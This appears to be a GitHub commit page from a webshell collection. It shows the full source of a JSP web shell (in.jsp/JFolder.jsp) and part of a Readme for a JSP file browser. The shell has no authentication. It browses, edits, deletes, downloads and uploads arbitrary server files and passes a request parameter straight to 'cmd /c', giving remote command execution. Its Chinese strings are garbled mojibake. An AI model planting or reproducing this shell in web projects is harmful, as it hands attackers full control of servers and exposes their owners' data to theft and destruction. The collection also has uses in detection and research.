1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 04:41:28 +00:00

update net-friend

This commit is contained in:
tennc
2013-06-20 09:50:18 +08:00
parent bb025735ea
commit 0b16c9f65f
95 changed files with 84948 additions and 0 deletions

1022
jsp/JFolder.jsp Normal file

File diff suppressed because it is too large Load Diff

2403
jsp/JspSpyJDK5.jsp Normal file

File diff suppressed because it is too large Load Diff

982
jsp/in.jsp Normal file
View File

@@ -0,0 +1,982 @@
<%
/**
xxxxxxxxxxxx xxxxxxxxxxxxxxxx
@xxxxxxxxx<78><78> JFolder.jsp
@Description<6F><6E> x<><78>
@Author<6F><72> Steven Cee
@Email <20><> xxxx@Gmail.com
@Bugs : <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
*/
%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //<2F><><EFBFBD>԰汾<D4B0><E6B1BE>0 : <20><><EFBFBD>ģ<EFBFBD> 1<><31>Ӣ<EFBFBD><D3A2>
String strThisFile="JFolder.jsp";
String[] authorInfo={" <font color=red> </font>"," <font color=red> </font>"};
String[] strFileManage = {"<22><> <20><> <20><> <20><>","File Management"};
String[] strCommand = {"CMD <20><> <20><>","Command Window"};
String[] strSysProperty = {"","System Property"};
String[] strHelp = {"","Help"};
String[] strParentFolder = {"<22>ϼ<EFBFBD>Ŀ¼","Parent Folder"};
String[] strCurrentFolder= {"<22><>ǰĿ¼","Current Folder"};
String[] strDrivers = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Drivers"};
String[] strFileName = {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","File Name"};
String[] strFileSize = {"<22>ļ<EFBFBD><C4BC><EFBFBD>С","File Size"};
String[] strLastModified = {"<22><><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>","Last Modified"};
String[] strFileOperation= {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","Operations"};
String[] strFileEdit = {"<22>޸<EFBFBD>","Edit"};
String[] strFileDown = {"<22><><EFBFBD><EFBFBD>","Download"};
String[] strFileCopy = {"<22><><EFBFBD><EFBFBD>","Move"};
String[] strFileDel = {"ɾ<><C9BE>","Delete"};
String[] strExecute = {"ִ<><D6B4>","Execute"};
String[] strBack = {"<22><><EFBFBD><EFBFBD>","Back"};
String[] strFileSave = {"<22><><EFBFBD><EFBFBD>","Save"};
public class FileHandler
{
private String strAction="";
private String strFile="";
void FileHandler(String action,String f)
{
}
}
public static class UploadMonitor {
static Hashtable uploadTable = new Hashtable();
static void set(String fName, UplInfo info) {
uploadTable.put(fName, info);
}
static void remove(String fName) {
uploadTable.remove(fName);
}
static UplInfo getInfo(String fName) {
UplInfo info = (UplInfo) uploadTable.get(fName);
return info;
}
}
public class UplInfo {
public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;
public UplInfo() {
totalSize = 0l;
currSize = 0l;
starttime = System.currentTimeMillis();
aborted = false;
}
public UplInfo(int size) {
totalSize = size;
currSize = 0;
starttime = System.currentTimeMillis();
aborted = false;
}
public String getUprate() {
long time = System.currentTimeMillis() - starttime;
if (time != 0) {
long uprate = currSize * 1000 / time;
return convertFileSize(uprate) + "/s";
}
else return "n/a";
}
public int getPercent() {
if (totalSize == 0) return 0;
else return (int) (currSize * 100 / totalSize);
}
public String getTimeElapsed() {
long time = (System.currentTimeMillis() - starttime) / 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
public String getTimeEstimated() {
if (currSize == 0) return "n/a";
long time = System.currentTimeMillis() - starttime;
time = totalSize * time / currSize;
time /= 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
}
public class FileInfo {
public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);
public void setFileContents(byte[] aByteArray) {
fileContents = new byte[aByteArray.length];
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}
// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {
private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB = 1024 * 1;
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
int clength) throws IllegalArgumentException, IOException {
if (is == null) throw new IllegalArgumentException("InputStream");
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
"\"" + boundary + "\" is an illegal boundary indicator");
boundary = "--" + boundary;
StringTokenizer stLine = null, stFields = null;
FileInfo fileInfo = null;
Hashtable dataTable = new Hashtable(5);
String line = null, field = null, paramName = null;
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
boolean isFile = false;
if (saveFiles) { // Create the required directory (including parent dirs)
File f = new File(saveInDir);
f.mkdirs();
}
line = getLine(is);
if (line == null || !line.startsWith(boundary)) throw new IOException(
"Boundary not found; boundary = " + boundary + ", line = " + line);
while (line != null) {
if (line == null || !line.startsWith(boundary)) return dataTable;
line = getLine(is);
if (line == null) return dataTable;
stLine = new StringTokenizer(line, ";\r\n");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
line = stLine.nextToken().toLowerCase();
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
"Bad data in second line");
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
fileInfo = new FileInfo();
stFields.nextToken();
paramName = stFields.nextToken();
isFile = false;
if (stLine.hasMoreTokens()) {
field = stLine.nextToken();
stFields = new StringTokenizer(field, "=\"");
if (stFields.countTokens() > 1) {
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
fileInfo.name = paramName;
String value = stFields.nextToken();
if (value != null && value.trim().length() > 0) {
fileInfo.clientFileName = value;
isFile = true;
}
else {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
}
else if (field.toLowerCase().indexOf("filename") >= 0) {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
boolean skipBlankLine = true;
if (isFile) {
line = getLine(is);
if (line == null) return dataTable;
if (line.trim().length() < 1) skipBlankLine = false;
else {
stLine = new StringTokenizer(line, ": ");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in third line");
stLine.nextToken(); // Content-Type
fileInfo.fileContentType = stLine.nextToken();
}
}
if (skipBlankLine) {
line = getLine(is);
if (line == null) return dataTable;
}
if (!isFile) {
line = getLine(is);
if (line == null) return dataTable;
dataTable.put(paramName, line);
// If parameter is dir, change saveInDir to dir
if (paramName.equals("dir")) saveInDir = line;
line = getLine(is);
continue;
}
try {
UplInfo uplInfo = new UplInfo(clength);
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
OutputStream os = null;
String path = null;
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
fileInfo.clientFileName));
else os = new ByteArrayOutputStream(ONE_MB);
boolean readingContent = true;
byte previousLine[] = new byte[2 * ONE_MB];
byte temp[] = null;
byte currentLine[] = new byte[2 * ONE_MB];
int read, read3;
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
line = null;
break;
}
while (readingContent) {
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line = null;
uplInfo.aborted = true;
break;
}
if (compareBoundary(boundary, currentLine)) {
os.write(previousLine, 0, read - 2);
line = new String(currentLine, 0, read3);
break;
}
else {
os.write(previousLine, 0, read);
uplInfo.currSize += read;
temp = currentLine;
currentLine = previousLine;
previousLine = temp;
read = read3;
}//end else
}//end while
os.flush();
os.close();
if (!saveFiles) {
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
fileInfo.setFileContents(baos.toByteArray());
}
else fileInfo.file = new File(path);
dataTable.put(paramName, fileInfo);
uplInfo.currSize = uplInfo.totalSize;
}//end try
catch (IOException e) {
throw e;
}
}
return dataTable;
}
/**
* Compares boundary string to byte array
*/
private boolean compareBoundary(String boundary, byte ba[]) {
byte b;
if (boundary == null || ba == null) return false;
for (int i = 0; i < boundary.length(); i++)
if ((byte) boundary.charAt(i) != ba[i]) return false;
return true;
}
/** Convenience method to read HTTP header lines */
private synchronized String getLine(ServletInputStream sis) throws IOException {
byte b[] = new byte[1024];
int read = sis.readLine(b, 0, b.length), index;
String line = null;
if (read != -1) {
line = new String(b, 0, read);
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
}
return line;
}
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
String path = null;
if (dir == null || fileName == null) throw new IllegalArgumentException(
"dir or fileName is null");
int index = fileName.lastIndexOf('/');
String name = null;
if (index >= 0) name = fileName.substring(index + 1);
else name = fileName;
index = name.lastIndexOf('\\');
if (index >= 0) fileName = name.substring(index + 1);
path = dir + File.separator + fileName;
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
else return path.replace('/', File.separatorChar);
}
} //End of class HttpMultiPartParser
String formatPath(String p)
{
StringBuffer sb=new StringBuffer();
for (int i = 0; i < p.length(); i++)
{
if(p.charAt(i)=='\\')
{
sb.append("\\\\");
}
else
{
sb.append(p.charAt(i));
}
}
return sb.toString();
}
/**
* Converts some important chars (int) to the corresponding html string
*/
static String conv2Html(int i) {
if (i == '&') return "&amp;";
else if (i == '<') return "&lt;";
else if (i == '>') return "&gt;";
else if (i == '"') return "&quot;";
else return "" + (char) i;
}
/**
* Converts a normal string to a html conform string
*/
static String htmlEncode(String st) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < st.length(); i++) {
buf.append(conv2Html(st.charAt(i)));
}
return buf.toString();
}
String getDrivers()
/**
Windowsϵͳ<EFBFBD><EFBFBD>ȡ<EFBFBD>ÿ<EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD><EFBFBD><EFBFBD>
*/
{
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
File roots[]=File.listRoots();
for(int i=0;i<roots.length;i++)
{
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
sb.append(roots[i]+"</a>&nbsp;");
}
return sb.toString();
}
static String convertFileSize(long filesize)
{
//bug 5.09M <20><>ʾ5.9M
String strUnit="Bytes";
String strAfterComma="";
int intDivisor=1;
if(filesize>=1024*1024)
{
strUnit = "MB";
intDivisor=1024*1024;
}
else if(filesize>=1024)
{
strUnit = "KB";
intDivisor=1024;
}
if(intDivisor==1) return filesize + " " + strUnit;
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
if(strAfterComma=="") strAfterComma=".0";
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile;
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");
if((tabID==null) || tabID.equals(""))
{
tabID = "1";
}
if(strDir==null||strDir.length()<1)
{
strDir = request.getRealPath("/");
}
if(strAction!=null && strAction.equals("down"))
{
File f=new File(strPath);
if(f.length()==0)
{
sbDown.append("<22>ļ<EFBFBD><C4BC><EFBFBD>СΪ 0 <20>ֽڣ<D6BD><DAA3>Ͳ<EFBFBD><CDB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˰<EFBFBD>");
}
else
{
response.setHeader("content-type","text/html; charset=ISO-8859-1");
response.setContentType("APPLICATION/OCTET-STREAM");
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
out.clearBuffer();
int i;
while ((i=fileInputStream.read()) != -1)
{
out.write(i);
}
fileInputStream.close();
out.close();
}
}
if(strAction!=null && strAction.equals("del"))
{
File f=new File(strPath);
f.delete();
}
if(strAction!=null && strAction.equals("edit"))
{
File f=new File(strPath);
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
sbEdit.append("<input type=hidden name=action value=save >\r\n");
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> &nbsp;"+strPath+"\r\n");
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
String line="";
while((line=br.readLine())!=null)
{
sbEdit.append(htmlEncode(line)+"\r\n");
}
sbEdit.append("</textarea>");
sbEdit.append("<input type=hidden name=path value="+strDir+">");
sbEdit.append("</form>");
}
if(strAction!=null && strAction.equals("save"))
{
File f=new File(strPath);
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
String strContent=request.getParameter("content");
bw.write(strContent);
bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
File f=new File(strPath);
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
sbCopy.append("ԭʼ<D4AD>ļ<EFBFBD><C4BC><EFBFBD> "+strPath+"<p>");
sbCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> <input type=text name=file2 size=40 value='"+strDir+"'><p>");
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p>&nbsp;\r\n");
sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
File f=new File(strPath);
String strDesFile=request.getParameter("file2");
if(strDesFile==null || strDesFile.equals(""))
{
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
}
else
{
File f_des=new File(strDesFile);
if(f_des.isFile())
{
sbSaveCopy.append("<p><font color=red>Ŀ<><C4BF><EFBFBD>ļ<EFBFBD><C4BC>Ѵ<EFBFBD><D1B4><EFBFBD>,<2C><><EFBFBD>ܸ<EFBFBD><DCB8>ơ<EFBFBD></font>");
}
else
{
String strTmpFile=strDesFile;
if(f_des.isDirectory())
{
if(!strDesFile.endsWith("\\"))
{
strDesFile=strDesFile+"\\";
}
strTmpFile=strDesFile+"cqq_"+strFile;
}
File f_des_copy=new File(strTmpFile);
FileInputStream in1=new FileInputStream(f);
FileOutputStream out1=new FileOutputStream(f_des_copy);
byte[] buffer=new byte[1024];
int c;
while((c=in1.read(buffer))!=-1)
{
out1.write(buffer,0,c);
}
in1.close();
out1.close();
sbSaveCopy.append("ԭʼ<D4AD>ļ<EFBFBD> <20><>"+strPath+"<p>");
sbSaveCopy.append("Ŀ<><C4BF><EFBFBD>ļ<EFBFBD> <20><>"+strTmpFile+"<p>");
sbSaveCopy.append("<font color=red><3E><><EFBFBD>Ƴɹ<C6B3><C9B9><EFBFBD></font>");
}
}
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=<3D><><EFBFBD><EFBFBD>>");
}
if(strAction!=null && strAction.equals("newFile"))
{
String strF=request.getParameter("fileName");
String strType1=request.getParameter("btnNewFile");
String strType2=request.getParameter("btnNewDir");
String strType="";
if(strType1==null)
{
strType="Dir";
}
else if(strType2==null)
{
strType="File";
}
if(!strType.equals("") && !(strF==null || strF.equals("")))
{
File f_new=new File(strF);
if(strType.equals("File") && !f_new.createNewFile())
sbNewFile.append(strF+" <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
if(strType.equals("Dir") && !f_new.mkdirs())
sbNewFile.append(strF+" Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
}
else
{
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
}
}
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
String tempdir=".";
boolean error=false;
response.setContentType("text/html");
sbNewFile.append("<p><font color=red><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD></font>");
HttpMultiPartParser parser = new HttpMultiPartParser();
int bstart = request.getContentType().lastIndexOf("oundary=");
String bound = request.getContentType().substring(bstart + 8);
int clength = request.getContentLength();
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
if (ht.get("cqqUploadFile") != null)
{
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
File f1 = fi.file;
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
if (info != null && info.aborted)
{
f1.delete();
request.setAttribute("error", "Upload aborted");
}
else
{
String path = (String) ht.get("path");
if(path!=null && !path.endsWith("\\"))
path = path + "\\";
if (!f1.renameTo(new File(path + f1.getName())))
{
request.setAttribute("error", "Cannot upload file.");
error = true;
f1.delete();
}
}
}
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }
#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}
#tablist li{
list-style: none;
display: inline;
margin: 0;
}
#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}
#tablist li a:link, #tablist li a:visited{
color: navy;
}
#tablist li a.current{
background: #EAEAFF;
}
#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}
.tabcontent{
display:none;
}
</style>
<script type="text/javascript">
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
////////Stop editting////////////////
function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}
var previoustab=""
function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}
function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}
function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}
function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}
if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload
</script>
<script language="javascript">
function doForm(action,path,file,cmd,tab,content)
{
document.frmCqq.action.value=action;
document.frmCqq.path.value=path;
document.frmCqq.file.value=file;
document.frmCqq.cmd.value=cmd;
document.frmCqq.tabID.value=tab;
document.frmCqq.content.value=content;
if(action=="del")
{
if(confirm("ȷ<><C8B7>Ҫɾ<D2AA><C9BE><EFBFBD>ļ<EFBFBD> "+file+" <20><><EFBFBD><EFBFBD>"))
document.frmCqq.submit();
}
else
{
document.frmCqq.submit();
}
}
</script>
<title>index</title>
<head>
<body>
<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>
<!--Top Menu Started-->
<ul id="tablist">
<li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
&nbsp; <%=authorInfo[languageNo]%>
</ul>
<!--Top Menu End-->
<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
sbFolder.append("<tr><td >&nbsp;</td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
}
for(int i=0;i<list.length;i++)
{
if(list[i].isDirectory())
{
sbFolder.append("<tr><td >&nbsp;</td><td>");
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
}
else
{
String strLen="";
String strDT="";
long lFile=0;
lFile=list[i].length();
strLen = convertFileSize(lFile);
Date dt=new Date(list[i].lastModified());
strDT=dt.toLocaleString();
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
sbFile.append(""+list[i].getName());
sbFile.append("</td><td>");
sbFile.append(""+strLen);
sbFile.append("</td><td>");
sbFile.append(""+strDT);
sbFile.append("</td><td>");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileEdit[languageNo]+"</a> ");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileDel[languageNo]+"</a> ");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileDown[languageNo]+"</a> ");
sbFile.append(" &nbsp;<a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
sbFile.append(strFileCopy[languageNo]+"</a> ");
}
}
}
catch(Exception e)
{
out.println("<font color=red><3E><><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD> "+e.toString()+"</font>");
}
%>
<DIV id="tabcontentcontainer">
<div id="menu3" class="tabcontent">
<br>
<br> &nbsp;&nbsp; δ<><CEB4><EFBFBD><EFBFBD>
<br>
<br>&nbsp;
</div>
<div id="menu4" class="tabcontent">
<br>
<p></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</div>
<div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+"<22><> <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
<tr>
<td width="25%" align="center" valign="top">
<table width="98%" border="0" cellspacing="0" cellpadding="3">
<%=sbFolder%>
</tr>
</table>
</td>
<td width="81%" align="left" valign="top">
<%
if(strAction!=null && strAction.equals("edit"))
{
out.println(sbEdit.toString());
}
else if(strAction!=null && strAction.equals("copy"))
{
out.println(sbCopy.toString());
}
else if(strAction!=null && strAction.equals("down"))
{
out.println(sbDown.toString());
}
else if(strAction!=null && strAction.equals("savecopy"))
{
out.println(sbSaveCopy.toString());
}
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
{
out.println(sbNewFile.toString());
}
else
{
%>
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
<tr bgcolor="#E7e7e6">
<td width="26%"><%=strFileName[languageNo]%></td>
<td width="19%"><%=strFileSize[languageNo]%></td>
<td width="29%"><%=strLastModified[languageNo]%></td>
<td width="26%"><%=strFileOperation[languageNo]%></td>
</tr>
<%=sbFile%>
<!-- <tr align="center">
<td colspan="4"><br>
<20>ܼ<EFBFBD><DCBC>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><font color="#FF0000">30</font> <20><><EFBFBD><EFBFBD>С<EFBFBD><D0A1><font color="#FF0000">664.9</font>
KB </td>
</tr>
-->
</table>
</span>
<%
}
%>
</td>
</tr>
<form name="frmMake" action="" method="post">
<tr><td colspan=2 bgcolor=#FBFFC6>
<input type="hidden" name="action" value="newFile">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<%
if(!strDir.endsWith("\\"))
strDir = strDir + "\\";
%>
<input type="text" name="fileName" size=36 value="<%=strDir%>">
<input type="submit" name="btnNewFile" value="<22>½<EFBFBD><C2BD>ļ<EFBFBD>" onclick="frmMake.submit()" >
<input type="submit" name="btnNewDir" value="<22>½<EFBFBD>Ŀ¼" onclick="frmMake.submit()" >
</form>
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
<input type="hidden" name="action" value="upload">
<input type="hidden" name="path" value="<%=strDir%>">
<input type="hidden" name="file" value="<%=strFile%>">
<input type="hidden" name="cmd" value="<%=strCmd%>">
<input type="hidden" name="tabID" value="1">
<input type="hidden" name="content" value="">
<input type="file" name="cqqUploadFile" size="36">
<input type="submit" name="submit" value="<22>ϴ<EFBFBD>">
</td></tr></form>
</table>
</div>
<div id="menu2" class="tabcontent">
<%
String line="";
StringBuffer sbCmd=new StringBuffer("");
if(strCmd!=null)
{
try
{
//out.println(strCmd);
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null)
{
sbCmd.append(line+"\r\n");
}
}
catch(Exception e)
{
System.out.println(e.toString());
}
}
else
{
strCmd = "set";
}
%>
<form name="cmd" action="" method="post">
&nbsp;
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>&nbsp;
<%
}
%>
</DIV>
</div>
<br><br>
<center>

1811
jsp/job.jsp Normal file

File diff suppressed because it is too large Load Diff

2344
jsp/jspbrowser/1.jsp Normal file

File diff suppressed because it is too large Load Diff

1778
jsp/jspbrowser/2.jsp Normal file

File diff suppressed because it is too large Load Diff

1934
jsp/jspbrowser/Browser.jsp Normal file

File diff suppressed because it is too large Load Diff

279
jsp/jspbrowser/Readme.txt Normal file
View File

@@ -0,0 +1,279 @@
jsp File Browser version 1.2
--------------------------------------------------------------------------------------
------------------------IMPORTANT
With this jsp you can destroy important files on your system, it also could be
a serious security hole on your server.
Use this script only, if you know what you do. There is no warranty of any kind.
------------------------REQUIREMENTS
To use the File browser, you need a JSP1.1 compatible Web Server like Tomcat, Resin
or Jetty.
If you use the browser on webspace provided by an internet service provider,
it could be, that you are not allowed to go in some directories or execute
commands on the server, this will result in an exception.
------------------------INSTALLATION
Just copy the jsp file to any configured Web application. The author recommends to
protect the directory you copy the file into by password, to avoid abuse.
------------------------SETTINGS
If you want to change the standard style, you can create a css file in the directory
where Browser.jsp is located with the name "Browser.css". If you want choose another name
change this line in Browser.jsp:
private static final String CSS_NAME = "Browser.css";
For the syntax, look at the example css file.
If you click on a filename, the file will be opened in an new window. If you want that file
opened in your current window, change this line:
private static final boolean USE_POPUP = true;
to
private static final boolean USE_POPUP = false;
If you hold the mouse cursor over a directory name, a tooltip with
